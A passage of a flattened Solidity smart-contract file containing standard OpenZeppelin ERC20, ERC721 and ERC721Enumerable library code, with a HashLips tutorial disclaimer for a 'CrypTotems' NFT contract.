allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/CrypTotems.sol // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ //Todo: Method out // abstract contract Context { // function _msgSender() internal view virtual returns (address) { // return msg.sender; // } // function _msgData() internal view virtual returns (bytes calldata) { // return msg.data; // } // } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = 